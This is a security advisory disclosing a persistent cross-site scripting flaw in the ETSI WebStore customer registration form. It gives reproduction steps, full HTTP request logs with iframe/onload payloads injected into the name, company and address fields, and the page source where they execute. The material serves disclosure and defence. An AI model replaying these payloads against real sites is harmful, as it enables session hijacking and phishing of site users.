Document Title:
===============
ETSI WEBstore 2023 - Persistent Cross Site Vulnerability


Date:
=====
2023-07-25


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=2327


VL-ID:
=====
2327


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Abstract:
=========
The vulnerability laboratory core research team discovered a persistent web vulnerability in the ETSI WebStore web-application.


Affected Product(s):
====================
European Telecommunications Standards Institute (ETSI)
Product: WEBstore 2023 - User Management (Web-Application)


Report-Timeline:
================
2023-07-26: Public Disclosure (Vulnerability Laboratory)


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A persistent input validation web vulnerability has been discovered in the official ETSI Webstore 2023 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise 
browser to web-application requests from the application-side.

The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp registration / modify formular. 
Remote attackers are able to inject own malicious script code with persistent attack vector by an inject in the
wrong sanitized input fields. The injection point is the registration or modify formular of the webstore. 
The execution points are located in the index, listarticle, myprofiles and user backend listing of the webstore 
web-appliation service.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent 
external redirects to malicious source and persistent manipulation of affected application modules.

Request Methode:
[+] POST

Vulnerable Inputs:
[+] first name
[+] last name
[+] company name
[+] address

Affected Modules:
[+] MyProfile
[+] ListArticle
[+] ShowCustomer


Proof of Concept:
=================
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Register an account for the etsi webstore using the registration formular
2. Inject script code payloads to the firstname, lastname, companyname and address input fields
3. Save the account by submit via post method request
4. Confirm the email and logon to the account
Note: After the login the execution takes place in the header were the user data is show as well as in separated websites were adress data is displayed. On preview of the customer in the backend an execution of the malicious payload takes as well place.
5. Successful reproduce of the persistent web vulnerability!


--- PoC Session Logs (POST) [Inject & Execute] ---
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 906
Origin: https://webstore.etsi.org
Connection: keep-alive
Referer: https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag2&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit
-
POST: HTTP/2.0 302 Found
cache-control: private
content-type: text/html
location: Listarticle.asp?list=2
server: Microsoft-IIS/10.0
x-frame-options: SAMEORIGIN
content-length: 143
-
https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Connection: keep-alive
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-
POST: HTTP/2.0 200 OK
cache-control: private
content-type: text/html
content-encoding: gzip
vary: Accept-Encoding
server: Microsoft-IIS/10.0
set-cookie: list=2; path=/ecommerce
x-frame-options: SAMEORIGIN
-
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 906
Origin: https://webstore.etsi.org
Connection: keep-alive
Referer: https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag3&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit
-
POST: HTTP/2.0 302 Found
cache-control: private
content-type: text/html
location: Listarticle.asp?list=2
server: Microsoft-IIS/10.0
x-frame-options: SAMEORIGIN
content-length: 143
-
https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2
Host: webstore.etsi.org
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp
Connection: keep-alive
Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-
POST: HTTP/2.0 200 OK
cache-control: private
content-type: text/html
content-encoding: gzip
vary: Accept-Encoding
server: Microsoft-IIS/10.0
set-cookie: list=2; path=/ecommerce
x-frame-options: SAMEORIGIN



Vulnerable Source: Profile Header
<div id="bloclogin">
<div id="identify">
<b> B[MALICIOUS PAYLOAD EXECUTION]"&gt;<iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe> 
&nbsp;C[MALICIOUS PAYLOAD EXECUTION]"&gt;<iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe></b><br>
A[MALICIOUS PAYLOAD EXECUTION]"&gt;<iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>
</div>
<input type="button" onclick="window.location.href = '/ecommerce/ChangeExistingCustomer.asp'" value="My profile" id="inputheaderleft">
<input type="button" onclick="logout()" value="Logout" id="inputheaderright">
</div>


Vulnerable Source: MyProfile
<tr>
<td class="formlabel">
<label for="Company">Company name</label> 
</td>
<td class="forminputleft">
<input tabindex="1" id="Company" class="inputform" name="Company" placeholder="Company name" value="A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"/&gt;
</td>
<td class="formlabel">
Client Code 			 
</td>
<td>
<input type="hidden" name="ClientCode" value="">
<input type="hidden" name="ClientCodeCSA3" value="">
<input type="hidden" name="ClientCodeCSA3" value="">										
</td>
</tr>
<tr>
<td colspan="2">                 				
</td>				
<td class="formlabel">
<label for="Fname">First name <font color="red">*</font></label>
</td>
<td class="forminputright">
<input id="Fname" tabindex="3" class="inputform" name="Fname" placeholder="First name" value="B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"&gt;
</td>
</tr>
<tr>
<td class="formlabellong">
...	
</td>
<td class="formlabel">
<label for="Lname">Last name <font color="red">*</font></label>
</td>
<td>
<input id="Lname" tabindex="6" class="inputform" placeholder="Last name" name="Lname" value="C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"&gt;
</td>
</tr>


References:
https://webstore.etsi.org/ecommerce/
https://webstore.etsi.org/ecommerce/Listarticle.asp
https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp
https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp


Risk:
=====
The security risk of the persistent vulnerability in the webstore web-application of etsi is estimated as medium.


Credits:
========
L. Guenther - https://www.vulnerability-lab.com/show.php?user=L.+Guenther


Disclaimer:
===========
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